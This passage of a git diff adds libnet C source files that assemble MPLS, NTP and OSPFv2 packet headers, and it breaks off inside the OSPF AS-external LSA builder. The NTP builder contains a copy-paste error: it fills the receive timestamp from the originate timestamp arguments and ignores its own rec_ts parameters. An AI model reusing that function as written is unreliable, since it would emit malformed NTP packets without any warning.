diff --git a/libnet/src/libnet_build_mpls.c b/libnet/src/libnet_build_mpls.c
new file mode 100644
index 0000000..f8261e9
--- /dev/null
+++ b/libnet/src/libnet_build_mpls.c
@@ -0,0 +1,112 @@
+/*
+ * $Id: libnet_build_mpls.c,v 1.9 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet
+ * libnet_build_mpls.c - MPLS packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_mpls(u_int32_t label, u_int8_t experimental, u_int8_t bos,
+u_int8_t ttl, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_mpls_hdr mpls_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_MPLS_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_MPLS_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&mpls_hdr, 0, sizeof(mpls_hdr));
+ mpls_hdr.mpls_les = htonl((((label & 0x000fffff) << 12) |
+ ((experimental & 0x07) << 9) |
+ ((bos & 0x01) << 8) |
+ ((ttl & 0xff))));
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&mpls_hdr, LIBNET_MPLS_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ /*
+ * The link offset is actually 4 bytes further into the header than
+ * before (the MPLS header adds this 4 bytes). We need to update the
+ * link offset pointer. XXX - should we set this here?
+ * Probably not. We should make pblock_coalesce check the pblock type
+ * and adjust accordingly.
+ */
+ l->link_offset += 4;
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_MPLS_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_ntp.c b/libnet/src/libnet_build_ntp.c
new file mode 100644
index 0000000..dd3d64f
--- /dev/null
+++ b/libnet/src/libnet_build_ntp.c
@@ -0,0 +1,121 @@
+/*
+ * $Id: libnet_build_ntp.c,v 1.9 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet
+ * libnet_build_ntp.c - NTP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_ntp(u_int8_t leap_indicator, u_int8_t version, u_int8_t mode,
+u_int8_t stratum, u_int8_t poll, u_int8_t precision, u_int16_t delay_int,
+u_int16_t delay_frac, u_int16_t dispersion_int, u_int16_t dispersion_frac,
+u_int32_t reference_id, u_int32_t ref_ts_int, u_int32_t ref_ts_frac,
+u_int32_t orig_ts_int, u_int32_t orig_ts_frac, u_int32_t rec_ts_int,
+u_int32_t rec_ts_frac, u_int32_t xmt_ts_int, u_int32_t xmt_ts_frac,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_ntp_hdr ntp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_NTP_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_NTP_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&ntp_hdr, 0, sizeof(ntp_hdr));
+ ntp_hdr.ntp_li_vn_mode = LIBNET_NTP_DO_LI_VN_MODE(
+ leap_indicator, version, mode);
+ ntp_hdr.ntp_stratum = stratum;
+ ntp_hdr.ntp_poll = poll;
+ ntp_hdr.ntp_precision = precision;
+ ntp_hdr.ntp_delay.integer = htons(delay_int);
+ ntp_hdr.ntp_delay.fraction = htons(delay_frac);
+ ntp_hdr.ntp_dispersion.integer = htons(dispersion_int);
+ ntp_hdr.ntp_dispersion.fraction = htons(dispersion_frac);
+ ntp_hdr.ntp_reference_id = htonl(reference_id);
+ ntp_hdr.ntp_ref_ts.integer = htonl(ref_ts_int);
+ ntp_hdr.ntp_ref_ts.fraction = htonl(ref_ts_frac);
+ ntp_hdr.ntp_orig_ts.integer = htonl(orig_ts_int);
+ ntp_hdr.ntp_orig_ts.fraction = htonl(orig_ts_frac);
+ ntp_hdr.ntp_rec_ts.integer = htonl(orig_ts_int);
+ ntp_hdr.ntp_rec_ts.fraction = htonl(orig_ts_frac);
+ ntp_hdr.ntp_xmt_ts.integer = htonl(xmt_ts_int);
+ ntp_hdr.ntp_xmt_ts.fraction = htonl(xmt_ts_frac);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&ntp_hdr, LIBNET_NTP_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_NTP_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_ospf.c b/libnet/src/libnet_build_ospf.c
new file mode 100644
index 0000000..bb7ccc0
--- /dev/null
+++ b/libnet/src/libnet_build_ospf.c
@@ -0,0 +1,699 @@
+/*
+ * $Id: libnet_build_ospf.c,v 1.10 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet
+ * libnet_build_ospf.c - OSPF packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1999, 2000 Andrew Reiter <areiter@bindview.com>
+ * Bindview Development
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_ospfv2(u_int16_t len, u_int8_t type, u_int32_t rtr_id,
+u_int32_t area_id, u_int16_t sum, u_int16_t autype, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_ospf_hdr ospf_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_OSPF_H + payload_s;
+ h = LIBNET_OSPF_H + payload_s + len;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&ospf_hdr, 0, sizeof(ospf_hdr));
+ ospf_hdr.ospf_v = 2; /* OSPF version 2 */
+ ospf_hdr.ospf_type = type; /* Type of pkt */
+ ospf_hdr.ospf_len = htons(h); /* Pkt len */
+ ospf_hdr.ospf_rtr_id.s_addr = htonl(rtr_id); /* Router ID */
+ ospf_hdr.ospf_area_id.s_addr = htonl(area_id); /* Area ID */
+ ospf_hdr.ospf_sum = (sum ? htons(sum) : 0);
+ ospf_hdr.ospf_auth_type = htons(autype); /* Type of auth */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&ospf_hdr, LIBNET_OSPF_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_OSPF_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ospfv2_hello(u_int32_t netmask, u_int16_t interval, u_int8_t opts,
+u_int8_t priority, u_int32_t dead_int, u_int32_t des_rtr, u_int32_t bkup_rtr,
+u_int32_t neighbor, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_ospf_hello_hdr hello_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_OSPF_HELLO_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_HELLO_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&hello_hdr, 0, sizeof(hello_hdr));
+ hello_hdr.hello_nmask.s_addr = htonl(netmask); /* Netmask */
+ hello_hdr.hello_intrvl = htons(interval); /* # seconds since last packet sent */
+ hello_hdr.hello_opts = opts; /* OSPF_* options */
+ hello_hdr.hello_rtr_pri = priority; /* If 0, can't be backup */
+ hello_hdr.hello_dead_intvl = htonl(dead_int); /* Time til router is deemed down */
+ hello_hdr.hello_des_rtr.s_addr = htonl(des_rtr); /* Networks designated router */
+ hello_hdr.hello_bkup_rtr.s_addr = htonl(bkup_rtr); /* Networks backup router */
+ hello_hdr.hello_nbr.s_addr = htonl(neighbor);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&hello_hdr, LIBNET_OSPF_HELLO_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_OSPF_HELLO_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ospfv2_dbd(u_int16_t dgram_len, u_int8_t opts, u_int8_t type,
+u_int32_t seqnum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_dbd_hdr dbd_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_OSPF_DBD_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_DBD_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&dbd_hdr, 0, sizeof(dbd_hdr));
+ dbd_hdr.dbd_mtu_len = htons(dgram_len); /* Max length of IP packet IF can use */
+ dbd_hdr.dbd_opts = opts; /* OSPF_* options */
+ dbd_hdr.dbd_type = type; /* Type of exchange occuring */
+ dbd_hdr.dbd_seq = htonl(seqnum); /* DBD sequence number */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&dbd_hdr, LIBNET_OSPF_DBD_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_OSPF_DBD_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ospfv2_lsr(u_int32_t type, u_int lsid, u_int32_t advrtr,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_lsr_hdr lsr_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_OSPF_LSR_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_LSR_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&lsr_hdr, 0, sizeof(lsr_hdr));
+ lsr_hdr.lsr_type = htonl(type); /* Type of LS being requested */
+ lsr_hdr.lsr_lsid = htonl(lsid); /* Link State ID */
+ lsr_hdr.lsr_adrtr.s_addr = htonl(advrtr); /* Advertising router */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&lsr_hdr, LIBNET_OSPF_LSR_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_OSPF_LSR_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ospfv2_lsu(u_int32_t num, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_lsu_hdr lh_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_OSPF_LSU_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_LSU_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&lh_hdr, 0, sizeof(lh_hdr));
+ lh_hdr.lsu_num = htonl(num); /* Number of LSAs that will be bcasted */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&lh_hdr, LIBNET_OSPF_LSU_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_OSPF_LSU_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ospfv2_lsa(u_int16_t age, u_int8_t opts, u_int8_t type, u_int lsid,
+u_int32_t advrtr, u_int32_t seqnum, u_int16_t sum, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_lsa_hdr lsa_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_OSPF_LSA_H + payload_s;
+ h = len + payload_s;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_LSA_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&lsa_hdr, 0, sizeof(lsa_hdr));
+ lsa_hdr.lsa_age = htons(age);
+ lsa_hdr.lsa_opts = opts;
+ lsa_hdr.lsa_type = type;
+ lsa_hdr.lsa_id = htonl(lsid);
+ lsa_hdr.lsa_adv.s_addr = htonl(advrtr);
+ lsa_hdr.lsa_seq = htonl(seqnum);
+ lsa_hdr.lsa_sum = (sum ? htons(sum) : 0);
+ lsa_hdr.lsa_len = htons(h);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&lsa_hdr, LIBNET_OSPF_LSA_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_OSPF_LSA_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ospfv2_lsa_rtr(u_int16_t flags, u_int16_t num, u_int32_t id,
+u_int32_t data, u_int8_t type, u_int8_t tos, u_int16_t metric,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_rtr_lsa_hdr rtr_lsa_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_OSPF_LS_RTR_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_RTR_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&rtr_lsa_hdr, 0, sizeof(rtr_lsa_hdr));
+ rtr_lsa_hdr.rtr_flags = htons(flags);
+ rtr_lsa_hdr.rtr_num = htons(num);
+ rtr_lsa_hdr.rtr_link_id = htonl(id);
+ rtr_lsa_hdr.rtr_link_data = htonl(data);
+ rtr_lsa_hdr.rtr_type = type;
+ rtr_lsa_hdr.rtr_tos_num = tos;
+ rtr_lsa_hdr.rtr_metric = htons(metric);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&rtr_lsa_hdr,
+ LIBNET_OSPF_LS_RTR_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_LS_RTR_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ospfv2_lsa_net(u_int32_t nmask, u_int32_t rtrid,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_net_lsa_hdr net_lsa_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_OSPF_LS_NET_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_NET_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&net_lsa_hdr, 0, sizeof(net_lsa_hdr));
+ net_lsa_hdr.net_nmask.s_addr = htonl(nmask);
+ net_lsa_hdr.net_rtr_id = htonl(rtrid);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&net_lsa_hdr,
+ LIBNET_OSPF_LS_NET_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_LS_NET_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ospfv2_lsa_sum(u_int32_t nmask, u_int32_t metric, u_int tos,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_sum_lsa_hdr sum_lsa_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_OSPF_LS_SUM_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_SUM_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&sum_lsa_hdr, 0, sizeof(sum_lsa_hdr));
+ sum_lsa_hdr.sum_nmask.s_addr = htonl(nmask);
+ sum_lsa_hdr.sum_metric = htonl(metric);
+ sum_lsa_hdr.sum_tos_metric = htonl(tos);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&sum_lsa_hdr,
+ LIBNET_OSPF_LS_SUM_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_LS_SUM_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ospfv2_lsa_as(u_int32_t nmask, u_int metric, u_int32_t fwdaddr,
+u_int32_t tag, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_as_lsa_hdr as_lsa_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_OSPF_LS_AS_EXT_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_AS_EXT_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&as_lsa_hdr, 0, sizeof(as_lsa_hdr));
+ as_lsa_hdr.as_nmask.s_addr = htonl(nmask);
+ as_lsa_hdr.as_metric = htonl(metric);
+ as_lsa_hdr.as_fwd_addr.s_addr = htonl(fwdaddr);
+ as_lsa_hdr.as_rte_tag = htonl(tag);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&as_lsa_hdr,
+ LIBNET_OSPF_LS_AS_EXT_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
